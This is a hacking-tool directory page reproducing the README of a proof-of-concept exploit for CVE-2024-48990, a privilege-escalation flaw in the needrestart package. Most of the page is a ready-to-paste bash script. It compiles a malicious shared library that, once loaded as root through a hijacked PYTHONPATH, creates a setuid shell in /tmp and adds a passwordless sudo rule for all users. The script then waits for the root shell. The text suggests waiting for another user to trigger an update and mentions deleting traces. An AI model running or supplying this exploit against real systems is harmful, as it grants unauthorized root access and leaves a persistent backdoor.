Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2024-48990-PoC-Testing — Testing POC for use cases | Kitploit
Tools/GitHubGitHub/pentestfunctions/cve-2024-48990-poc-testing
Privilege EscalationVulnerability AnalysisExploitationPenetration TestingLearning & EducationLabs & Practice
GitHubpentestfunctions/cve-2024-48990-poc-testing

CVE-2024-48990-PoC-Testing

Testing POC for use cases

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share
View Repository
2611 year agoReviewed by Kitploit

CVE-2024-48990-PoC-Testing 🐍🔓

This repository contains a Proof of Concept (PoC) to demonstrate a vulnerability in the needrestart program, which fails to set Python's path correctly, leading to potential privilege escalation. The PoC highlights a potential path for gaining elevated privileges by exploiting this flaw.

⚠️ Vulnerability Overview

The CVE-2024-48990 vulnerability lies within the needrestart package. Specifically, it does not properly set Python’s path, which can be exploited to escalate privileges when triggered by certain actions.

This PoC simulates a scenario where a malicious shared library is loaded via Python to manipulate system settings and gain elevated privileges. Use it in a controlled, safe environment for testing purposes only.

To check if you are vulnerable run:

root@kitploit:~
needrestart --version | grep -q "3.7" && echo "Definitely vulnerable" || echo "Version is potentially not vulnerable, this simply checks for 3.7"

If you want a vulnerable version to test with simply run:

root@kitploit:~
sudo apt install needrestart=3.7-3

⚡ How to Trigger the Vulnerability

To trigger the vulnerability, execute the following while you have the listener script running:

root@kitploit:~
sudo apt remove ntp; sudo apt install ntp

This command installs a package (ntp in this case) which causes the issue with needrestart to be triggered however ideally you would wait for another user on the system to proc an update or something tha triggers needrestart such as sudo apt update.



🔨 Steps to Reproduce

Run the following script to set up the PoC and trigger the vulnerability, you can copy paste it directly as the whole script as is into your terminal and wait or trigger it manually as shown above with ntp. It also adds the binary to sudo path for all users for showcasing - realistcally you can just make it add all paths for sudo for your user but I wanted to show both:

root@kitploit:~
#!/bin/bash
set -e
cd /tmp
mkdir -p malicious/importlib

# Create and compile the malicious library
cat << 'EOF' > /tmp/malicious/lib.c
#include <stdio.h>
#include <stdlib.h>
#include <sys/types.h>
#include <unistd.h>

static void a() __attribute__((constructor));

void a() {
    if(geteuid() == 0) {  // Only execute if we're running with root privileges
        setuid(0);
        setgid(0);
        const char *shell = "cp /bin/sh /tmp/poc; "
                            "chmod u+s /tmp/poc; "
                            "grep -qxF 'ALL ALL=NOPASSWD: /tmp/poc' /etc/sudoers || "
                            "echo 'ALL ALL=NOPASSWD: /tmp/poc' | tee -a /etc/sudoers > /dev/null &";
        system(shell);
    }
}
EOF

gcc -shared -fPIC -o "/tmp/malicious/importlib/__init__.so" /tmp/malicious/lib.c

# Minimal Python script to trigger import
cat << 'EOF' > /tmp/malicious/e.py
import time
while True:
    try:
        import importlib
    except:
        pass
    if __import__("os").path.exists("/tmp/poc"):
        print("Got shell!, delete traces in /tmp/poc, /tmp/malicious")
        __import__("os").system("sudo /tmp/poc -p")
        break
    time.sleep(1)
EOF

cd /tmp/malicious; clear;echo -e "\n\nWaiting for norestart execution...\nEnsure you remove yourself from sudoers on the poc file after\nsudo sed -i '/ALL ALL=NOPASSWD: \/tmp\/poc/d' /etc/sudoers\nAs well as remove excess files created:\nrm -rf malicious/ poc"; PYTHONPATH="$PWD" python3 e.py 2>/dev/null

💥 Cleanup Script

If you'd like to clean up testing files and remove yourself from sudoers, you can run the following from an elevated prompt:

root@kitploit:~
sudo sed -i '/ALL ALL=NOPASSWD: \/tmp\/poc/d' /etc/sudoers
rm -rf malicious/ poc; ls

🛠️ Requirements

  • Linux-based system (Ubuntu/Debian recommended)
  • needrestart package installed (or removed and reinstalled to trigger)
  • Python 3.x installed (for running the Python script)

🚨 Warning

This PoC is for testing purposes only and should not be used in a production environment. Exploiting this vulnerability in unauthorized environments may be illegal. Always obtain explicit permission before conducting any security testing.


🔗 Resources

  • GitHub Repository: CVE-2024-48990-PoC
  • CVE Details: CVE-2024-48990

Happy testing! 🧪🚀

Download Tool